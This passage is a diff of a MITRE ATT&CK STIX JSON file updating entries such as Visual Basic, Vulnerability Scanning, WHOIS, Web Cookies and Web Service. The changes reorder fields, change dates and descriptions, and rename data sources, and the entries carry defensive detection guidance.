"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + "created": "2020-03-09T14:29:51.508Z", + "modified": "2020-08-13T20:09:39.122Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } ], + "type": "attack-pattern", "external_references": [ { "source_name": "mitre-attack", @@ -34166,35 +35911,32 @@ "description": "Microsoft. (2011, April 19). What Is VBScript?. Retrieved March 28, 2020." } ], - "type": "attack-pattern", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "execution" - } + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], - "modified": "2020-08-13T20:09:39.122Z", - "created": "2020-03-09T14:29:51.508Z", - "x_mitre_platforms": [ - "Windows", - "macOS", - "Linux" - ], - "x_mitre_data_sources": [ - "DLL monitoring", - "Loaded DLLs", - "File monitoring", - "Process monitoring", - "Process command-line parameters" - ], - "x_mitre_detection": "Monitor for events associated with VB execution, such as Office applications spawning processes, usage of the Windows Script Host (typically cscript.exe or wscript.exe), file activity involving VB payloads or scripts, or loading of modules associated with VB languages (ex: vbscript.dll). VB execution is likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other programable post-compromise behaviors and could be used as indicators of detection leading back to the source.\n\nUnderstanding standard usage patterns is important to avoid a high number of false positives. If VB execution is restricted for normal users, then any attempts to enable related components running on a system would be considered suspicious. If VB execution is not commonly used on a system, but enabled, execution running out of cycle from patching or other administrator functions is suspicious. Payloads and scripts should be captured from the file system when possible to determine their actions and intent.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Visual Basic", + "description": "Adversaries may abuse Visual Basic (VB) for execution. VB is a programming language created by Microsoft with interoperability with many Windows technologies such as [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and the [Native API](https://attack.mitre.org/techniques/T1106) through the Windows API. Although tagged as legacy with no planned future evolutions, VB is integrated and supported in the .NET Framework and cross-platform .NET Core.(Citation: VB .NET Mar 2020)(Citation: VB Microsoft)\n\nDerivative languages based on VB have also been created, such as Visual Basic for Applications (VBA) and VBScript. VBA is an event-driven programming language built into Microsoft Office, as well as several third-party applications.(Citation: Microsoft VBA)(Citation: Wikipedia VBA) VBA enables documents to contain macros used to automate the execution of tasks and other functionality on the host. VBScript is a default scripting language on Windows hosts and can also be used in place of [JavaScript](https://attack.mitre.org/techniques/T1059/007) on HTML Application (HTA) webpages served to Internet Explorer (though most modern browsers do not come with VBScript support).(Citation: Microsoft VBScript)\n\nAdversaries may use VB payloads to execute malicious commands. Common malicious usage includes automating execution of behaviors with VBScript or embedding VBA content into [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) payloads.", + "id": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", + "x_mitre_version": "1.1", + "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "User", "Administrator", "SYSTEM" ], - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.1" + "x_mitre_detection": "Monitor for events associated with VB execution, such as Office applications spawning processes, usage of the Windows Script Host (typically cscript.exe or wscript.exe), file activity involving VB payloads or scripts, or loading of modules associated with VB languages (ex: vbscript.dll). VB execution is likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other programable post-compromise behaviors and could be used as indicators of detection leading back to the source.\n\nUnderstanding standard usage patterns is important to avoid a high number of false positives. If VB execution is restricted for normal users, then any attempts to enable related components running on a system would be considered suspicious. If VB execution is not commonly used on a system, but enabled, execution running out of cycle from patching or other administrator functions is suspicious. Payloads and scripts should be captured from the file system when possible to determine their actions and intent.", + "x_mitre_data_sources": [ + "Command: Command Execution", + "Process: Process Creation", + "Module: Module Load", + "Script: Script Execution" + ], + "x_mitre_platforms": [ + "Windows", + "macOS", + "Linux" + ] }, { "external_references": [ @@ -34214,7 +35956,7 @@ ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Vulnerabilities", - "description": "Before compromising a victim, adversaries may acquire information about vulnerabilities that can be used during targeting. A vulnerability is a weakness in computer hardware or software that can, potentially, be exploited by an adversary to cause unintended or unanticipated behavior to occur. Adversaries may find vulnerability information by searching open databases or gaining access to closed vulnerability databases.(Citation: National Vulnerability Database)\n\nAn adversary may monitor vulnerability disclosures/databases to understand the state of existing, as well as newly discovered, vulnerabilities. There is usually a delay between when a vulnerability is discovered and when it is made public. An adversary may target the systems of those known to conduct vulnerability research (including commercial vendors). Knowledge of a vulnerability may cause an adversary to search for an existing exploit (i.e. [Exploits](https://attack.mitre.org/techniques/T1588/005)) or to attempt to develop one themselves (i.e. [Exploits](https://attack.mitre.org/techniques/T1587/004)).", + "description": "Adversaries may acquire information about vulnerabilities that can be used during targeting. A vulnerability is a weakness in computer hardware or software that can, potentially, be exploited by an adversary to cause unintended or unanticipated behavior to occur. Adversaries may find vulnerability information by searching open databases or gaining access to closed vulnerability databases.(Citation: National Vulnerability Database)\n\nAn adversary may monitor vulnerability disclosures/databases to understand the state of existing, as well as newly discovered, vulnerabilities. There is usually a delay between when a vulnerability is discovered and when it is made public. An adversary may target the systems of those known to conduct vulnerability research (including commercial vendors). Knowledge of a vulnerability may cause an adversary to search for an existing exploit (i.e. [Exploits](https://attack.mitre.org/techniques/T1588/005)) or to attempt to develop one themselves (i.e. [Exploits](https://attack.mitre.org/techniques/T1587/004)).", "id": "attack-pattern--2b5aa86b-a0df-4382-848d-30abea443327", "type": "attack-pattern", "kill_chain_phases": [ @@ -34223,7 +35965,7 @@ "phase_name": "resource-development" } ], - "modified": "2020-10-16T01:54:39.868Z", + "modified": "2021-04-15T03:16:32.119Z", "created": "2020-10-15T02:59:38.628Z", "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on behaviors relating to the potential use of exploits for vulnerabilities (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).", "x_mitre_version": "1.0", @@ -34233,6 +35975,13 @@ ] }, { + "id": "attack-pattern--5502c4e9-24ef-4d5f-8ee9-9e906c2f82c4", + "description": "Adversaries may scan victims for vulnerabilities that can be used during targeting. Vulnerability scans typically check if the configuration of a target host/application (ex: software and version) potentially aligns with the target of a specific exploit the adversary may seek to use.\n\nThese scans may also include more broad attempts to [Gather Victim Host Information](https://attack.mitre.org/techniques/T1592) that can be used to identify more commonly known, exploitable vulnerabilities. Vulnerability scans typically harvest running software and version numbers via server banners, listening ports, or other network artifacts.(Citation: OWASP Vuln Scanning) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).", + "name": "Vulnerability Scanning", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], "external_references": [ { "source_name": "mitre-attack", @@ -34245,13 +35994,6 @@ "description": "OWASP Wiki. (2018, February 16). OAT-014 Vulnerability Scanning. Retrieved October 20, 2020." } ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Vulnerability Scanning", - "description": "Before compromising a victim, adversaries may scan victims for vulnerabilities that can be used during targeting. Vulnerability scans typically check if the configuration of a target host/application (ex: software and version) potentially aligns with the target of a specific exploit the adversary may seek to use.\n\nThese scans may also include more broad attempts to [Gather Victim Host Information](https://attack.mitre.org/techniques/T1592) that can be used to identify more commonly known, exploitable vulnerabilities. Vulnerability scans typically harvest running software and version numbers via server banners, listening ports, or other network artifacts.(Citation: OWASP Vuln Scanning) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).", - "id": "attack-pattern--5502c4e9-24ef-4d5f-8ee9-9e906c2f82c4", "type": "attack-pattern", "kill_chain_phases": [ { @@ -34259,17 +36001,17 @@ "phase_name": "reconnaissance" } ], - "modified": "2020-10-24T03:58:06.761Z", + "modified": "2021-04-15T03:20:09.446Z", "created": "2020-10-02T16:55:16.047Z", - "x_mitre_data_sources": [ - "Packet capture", - "Network device logs" - ], - "x_mitre_detection": "Monitor for suspicious network traffic that could be indicative of scanning, such as large quantities originating from a single source (especially if the source is known to be associated with an adversary/botnet). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields.\n\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", - "x_mitre_version": "1.0", - "x_mitre_is_subtechnique": true, "x_mitre_platforms": [ "PRE" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_version": "1.0", + "x_mitre_detection": "Monitor for suspicious network traffic that could be indicative of scanning, such as large quantities originating from a single source (especially if the source is known to be associated with an adversary/botnet). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields.\n\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", + "x_mitre_data_sources": [ + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Traffic Content" ] }, { @@ -34290,7 +36032,7 @@ ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "WHOIS", - "description": "Before compromising a victim, adversaries may search public WHOIS data for information about victims that can be used during targeting. WHOIS data is stored by regional Internet registries (RIR) responsible for allocating and assigning Internet resources such as domain names. Anyone can query WHOIS servers for information about a registered domain, such as assigned IP blocks, contact information, and DNS nameservers.(Citation: WHOIS)\n\nAdversaries may search WHOIS data to gather actionable information. Threat actors can use online resources or command-line utilities to pillage through WHOIS data for information about potential victims. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).", + "description": "Adversaries may search public WHOIS data for information about victims that can be used during targeting. WHOIS data is stored by regional Internet registries (RIR) responsible for allocating and assigning Internet resources such as domain names. Anyone can query WHOIS servers for information about a registered domain, such as assigned IP blocks, contact information, and DNS nameservers.(Citation: WHOIS)\n\nAdversaries may search WHOIS data to gather actionable information. Threat actors can use online resources or command-line utilities to pillage through WHOIS data for information about potential victims. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).", "id": "attack-pattern--166de1c6-2814-4fe5-8438-4e80f76b169f", "type": "attack-pattern", "kill_chain_phases": [ @@ -34299,7 +36041,7 @@ "phase_name": "reconnaissance" } ], - "modified": "2020-10-24T04:20:43.941Z", + "modified": "2021-04-15T03:50:44.113Z", "created": "2020-10-02T16:56:49.744Z", "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", "x_mitre_version": "1.0", @@ -34343,7 +36085,7 @@ "modified": "2020-10-21T22:37:49.258Z", "created": "2020-10-19T18:47:08.759Z", "x_mitre_data_sources": [ - "File monitoring" + "File: File Modification" ], "x_mitre_platforms": [ "Network" @@ -34358,6 +36100,60 @@ "x_mitre_is_subtechnique": false, "x_mitre_version": "1.0" }, + { + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1606.001", + "url": "https://attack.mitre.org/techniques/T1606/001" + }, + { + "description": "Rehberger, J. (2018, December). Pivot to the Cloud using Pass the Cookie. Retrieved April 5, 2019.", + "url": "https://wunderwuzzi23.github.io/blog/passthecookie.html", + "source_name": "Pass The Cookie" + }, + { + "source_name": "Volexity SolarWinds", + "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/", + "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020." + }, + { + "source_name": "Unit 42 Mac Crypto Cookies January 2019", + "url": "https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/", + "description": "Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges\u2019 Cookies. Retrieved October 14, 2019." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Web Cookies", + "description": "Adversaries may forge web cookies that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies to authenticate and authorize user access.\n\nAdversaries may generate these cookies in order to gain access to web resources. This differs from [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539) and other similar behaviors in that the cookies are new and forged by the adversary, rather than stolen or intercepted from legitimate users. Most common web applications have standardized and documented cookie values that can be generated using provided tools or interfaces.(Citation: Pass The Cookie) The generation of web cookies often requires secret values, such as passwords, [Private Keys](https://attack.mitre.org/techniques/T1552/004), or other cryptographic seed values.\n\nOnce forged, adversaries may use these web cookies to access resources ([Web Session Cookie](https://attack.mitre.org/techniques/T1550/004)), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Volexity SolarWinds)(Citation: Pass The Cookie)(Citation: Unit 42 Mac Crypto Cookies January 2019)", + "id": "attack-pattern--861b8fd2-57f3-4ee1-ab5d-c19c3b8c7a4a", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "modified": "2021-01-11T20:31:36.404Z", + "created": "2020-12-17T02:14:34.178Z", + "x_mitre_data_sources": [ + "Logon Session: Logon Session Creation", + "Web Credential: Web Credential Creation", + "Web Credential: Web Credential Usage" + ], + "x_mitre_detection": "Monitor for anomalous authentication activity, such as logons or other user session activity associated with unknown accounts. Monitor for unexpected and abnormal access to resources, including access of websites and cloud-based applications by the same user in different locations or by different systems that do not match expected configurations.", + "x_mitre_version": "1.0", + "x_mitre_is_subtechnique": true, + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "SaaS" + ] + }, { "external_references": [ { @@ -34400,7 +36196,7 @@ "An externally facing login portal is configured." ], "x_mitre_data_sources": [ - "File monitoring" + "File: File Modification" ], "x_mitre_detection": "File monitoring may be used to detect changes to files in the Web directory for organization login pages that do not match with authorized updates to the Web server's content.", "x_mitre_version": "1.0", @@ -34412,13 +36208,15 @@ ] }, { - "id": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", - "description": "Adversaries may communicate using application layer protocols associated with web traffic to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nProtocols such as HTTP and HTTPS that carry web traffic may be very common in environments. HTTP/S packets have many fields and headers in which data can be concealed. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic. ", - "name": "Web Protocols", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + "created": "2020-03-15T16:13:46.151Z", + "modified": "2020-03-26T20:15:35.821Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } ], + "type": "attack-pattern", "external_references": [ { "source_name": "mitre-attack", @@ -34431,45 +36229,30 @@ "source_name": "University of Birmingham C2" } ], - "type": "attack-pattern", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "command-and-control" - } + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Web Protocols", + "description": "Adversaries may communicate using application layer protocols associated with web traffic to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nProtocols such as HTTP and HTTPS that carry web traffic may be very common in environments. HTTP/S packets have many fields and headers in which data can be concealed. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic. ", + "id": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", + "x_mitre_version": "1.0", + "x_mitre_is_subtechnique": true, + "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2)\n\nMonitor for web traffic to/from known-bad or suspicious domains. ", + "x_mitre_data_sources": [ + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Traffic Content" ], - "modified": "2020-03-26T20:15:35.821Z", - "created": "2020-03-15T16:13:46.151Z", "x_mitre_platforms": [ "Linux", "macOS", "Windows" - ], - "x_mitre_data_sources": [ - "Network protocol analysis", - "Process monitoring", - "Process use of network", - "Netflow/Enclave netflow", - "Packet capture" - ], - "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2)\n\nMonitor for web traffic to/from known-bad or suspicious domains. ", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.0" + ] }, { - "created": "2017-05-31T21:31:13.915Z", - "modified": "2020-03-26T23:26:10.297Z", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "command-and-control" - } + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], - "type": "attack-pattern", - "id": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Web Service", - "description": "Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.\n\nUse of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).", "external_references": [ { "source_name": "mitre-attack", @@ -34482,32 +36265,56 @@ "source_name": "University of Birmingham C2" } ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + "description": "Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.\n\nUse of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).", + "name": "Web Service", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "modified": "2020-03-26T23:26:10.297Z", + "created": "2017-05-31T21:31:13.915Z", + "x_mitre_is_subtechnique": false, + "x_mitre_version": "1.1", + "x_mitre_contributors": [ + "Anastasios Pingios" + ], + "x_mitre_data_sources": [ + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Traffic Content", + "Network Traffic: Network Connection Creation" + ], + "x_mitre_detection": "Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Packet capture analysis will require SSL/TLS inspection if data is encrypted. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). User behavior monitoring may help to detect abnormal patterns of activity.(Citation: University of Birmingham C2)", + "x_mitre_permissions_required": [ + "User" ], "x_mitre_platforms": [ "Linux", "macOS", "Windows" - ], - "x_mitre_permissions_required": [ - "User" - ], - "x_mitre_detection": "Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Packet capture analysis will require SSL/TLS inspection if data is encrypted. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). User behavior monitoring may help to detect abnormal patterns of activity.(Citation: University of Birmingham C2)", - "x_mitre_data_sources": [ - "Host network interface", - "Netflow/Enclave netflow", - "Network protocol analysis", - "Packet capture", - "SSL/TLS inspection" - ], - "x_mitre_contributors": [ - "Anastasios Pingios" - ], - "x_mitre_version": "1.1", - "x_mitre_is_subtechnique": false + ] }, { + "created": "2020-10-01T00:50:29.936Z", + "modified": "2021-04-15T02:53:19.246Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "type": "attack-pattern", + "id": "attack-pattern--88d31120-5bc7-4ce3-a9c0-7cf147be8e54", + "description": "Adversaries may register for web services\u00a0that can be used during targeting. A variety of popular websites exist for adversaries to register for a web-based service that can be abused during later stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567). Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. By utilizing a web service, adversaries can make it difficult to physically tie back operations to them.", + "name": "Web Services", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], "external_references": [ { "source_name": "mitre-attack", @@ -34515,28 +36322,12 @@ "url": "https://attack.mitre.org/techniques/T1583/006" } ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Web Services", - "description": "Before compromising a victim, adversaries may register for web services\u00a0that can be used during targeting. A variety of popular websites exist for adversaries to register for a web-based service that can be abused during later stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567). Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. By utilizing a web service, adversaries can make it difficult to physically tie back operations to them.", - "id": "attack-pattern--88d31120-5bc7-4ce3-a9c0-7cf147be8e54", - "type": "attack-pattern", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "resource-development" - } - ], - "modified": "2020-10-22T17:59:17.456Z", - "created": "2020-10-01T00:50:29.936Z", - "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567).", - "x_mitre_version": "1.0", - "x_mitre_is_subtechnique": true, "x_mitre_platforms": [ "PRE" - ] + ], + "x_mitre_is_subtechnique": true, + "x_mitre_version": "1.0", + "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567)." }, { "external_references": [ @@ -34556,7 +36347,7 @@ ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Web Services", - "description": "Before compromising a victim, adversaries may compromise access to third-party web services\u00a0that can be used during targeting. A variety of popular websites exist for legitimate users to register for web-based services, such as GitHub, Twitter, Dropbox, Google, etc. Adversaries may try to take ownership of a legitimate user's access to a web service and use that web service as infrastructure in support of cyber operations. Such web services can be abused during later stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567).(Citation: Recorded Future Turla Infra 2020) Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. By utilizing a web service, particularly when access is stolen from legitimate users, adversaries can make it difficult to physically tie back operations to them.", + "description": "Adversaries may compromise access to third-party web services\u00a0that can be used during targeting. A variety of popular websites exist for legitimate users to register for web-based services, such as GitHub, Twitter, Dropbox, Google, etc. Adversaries may try to take ownership of a legitimate user's access to a web service and use that web service as infrastructure in support of cyber operations. Such web services can be abused during later stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567).(Citation: Recorded Future Turla Infra 2020) Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. By utilizing a web service, particularly when access is stolen from legitimate users, adversaries can make it difficult to physically tie back operations to them.", "id": "attack-pattern--ae797531-3219-49a4-bccf-324ad7a4c7b2", "type": "attack-pattern", "kill_chain_phases": [ @@ -34565,7 +36356,7 @@ "phase_name": "resource-development" } ], - "modified": "2020-10-22T18:02:30.304Z", + "modified": "2021-04-15T03:04:40.184Z", "created": "2020-10-01T01:01:00.176Z", "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567).", "x_mitre_version": "1.0", @@ -34589,14 +36380,14 @@ { "source_name": "Unit 42 Mac Crypto Cookies January 2019", "url": "https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/", - "description": "Chen, Y., Hu, W., Xu, Z., et. al.. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges\u2019 Cookies. Retrieved October 14, 2019." + "description": "Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges\u2019 Cookies. Retrieved October 14, 2019." } ], "name": "Web Session Cookie", "id": "attack-pattern--c5e31fb5-fcbd-48a4-af8c-5a6ed5b932e5", "revoked": true, "type": "attack-pattern", - "modified": "2020-01-30T19:59:18.617Z", + "modified": "2020-12-17T16:57:07.529Z", "created": "2019-10-08T20:08:56.205Z" }, { @@ -34619,7 +36410,7 @@ { "source_name": "Unit 42 Mac Crypto Cookies January 2019", "url": "https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/", - "description": "Chen, Y., Hu, W., Xu, Z., et. al.. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges\u2019 Cookies. Retrieved October 14, 2019." + "description": "Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges\u2019 Cookies. Retrieved October 14, 2019." } ], "object_marking_refs": [ @@ -34627,7 +36418,7 @@ ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Web Session Cookie", - "description": "Adversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated.(Citation: Pass The Cookie)\n\nAuthentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so 